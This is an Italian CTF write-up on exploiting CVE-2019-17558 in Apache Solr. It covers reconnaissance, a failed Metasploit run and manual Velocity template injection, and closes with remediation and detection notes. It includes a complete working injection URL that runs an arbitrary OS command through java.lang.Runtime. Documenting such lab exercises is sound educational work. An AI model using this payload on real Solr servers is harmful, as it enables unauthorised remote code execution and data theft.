
Write-up CTF che documenta lo sfruttamento di CVE-2019-17558 in Apache Solr, coprendo la ricognizione, i limiti di Metasploit, l'iniezione manuale di template Velocity, la cattura della flag e la bonifica.
Sfruttamento pratico di una vulnerabilità di Velocity Template Injection in Apache Solr, passando da un errore in uno strumento automatizzato (Metasploit) a uno sfruttamento manuale riuscito.
Questo write-up documenta il ragionamento completo dell'esercizio, concentrandosi sulla diagnosi dell'errore dello strumento e sul pivot verso lo sfruttamento manuale.
| Item | Descrizione |
|---|---|
| Target | Server Linux che esegue Apache Solr sulla porta 8983 |
| Obiettivo | Leggere il contenuto di un file sensibile (/home/favorite_book.txt) |
| Vulnerabilità | CVE-2019-17558 (RCE via Velocity Response Writer) |
La fase iniziale consisteva nell'identificazione dei servizi attivi sull'host target.
nmap -sV -p- <TARGET_IP>
Risultati.
novacollection.Accedendo al pannello amministrativo, è stato confermato che la versione di Solr era vulnerabile alla Velocity Template Injection.
La falla si verifica quando l'attaccante riesce a modificare l'impostazione params.resource.loader.enabled su true, il che consente l'uso di template Velocity personalizzati e, da lì, l'esecuzione di codice Java arbitrario sul server.
Inizialmente è stato utilizzato il modulo exploit/multi/http/solr_velocity_rce.
L'exploit è riuscito a modificare la configurazione di Solr con successo.
[+] params.resource.loader.enabled is true for core 'novacollection'
Tuttavia, la fase finale di iniezione del payload è fallita con un errore di esecuzione Ruby.
NoMethodError: undefined method 'body' for nil:NilClass
Ciò ha indicato che, sebbene l'ambiente fosse vulnerabile e già predisposto, lo strumento non è riuscito a elaborare la risposta del server per completare l'attacco. Il target non era sicuro; solo il metodo di consegna del modulo doveva essere regolato.
Con il Velocity Writer già abilitato da Metasploit, l'iniezione è stata eseguita manualmente tramite una richiesta HTTP GET, aggirando l'errore dello script. Il template Velocity è stato costruito per istanziare java.lang.Runtime ed eseguire il comando di lettura del file target.
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Comando effettivamente eseguito sul server.
cat /home/favorite_book.txt
L'iniezione è riuscita e il contenuto del file è stato restituito direttamente nel corpo della risposta HTTP, renderizzato nel browser, consentendo la cattura della flag.
NoMethodError non significava un target sicuro, ma solo che il metodo di consegna necessitava di una regolazione.params.resource.loader.enabled rimanga disabilitato.select con parametri wt=velocity, utili come firma di rilevamento in SIEM.Questo repository è stato creato per scopi educativi e di documentazione dell'apprendimento in un ambiente controllato (CTF). Non utilizzare queste tecniche contro sistemi senza esplicita autorizzazione.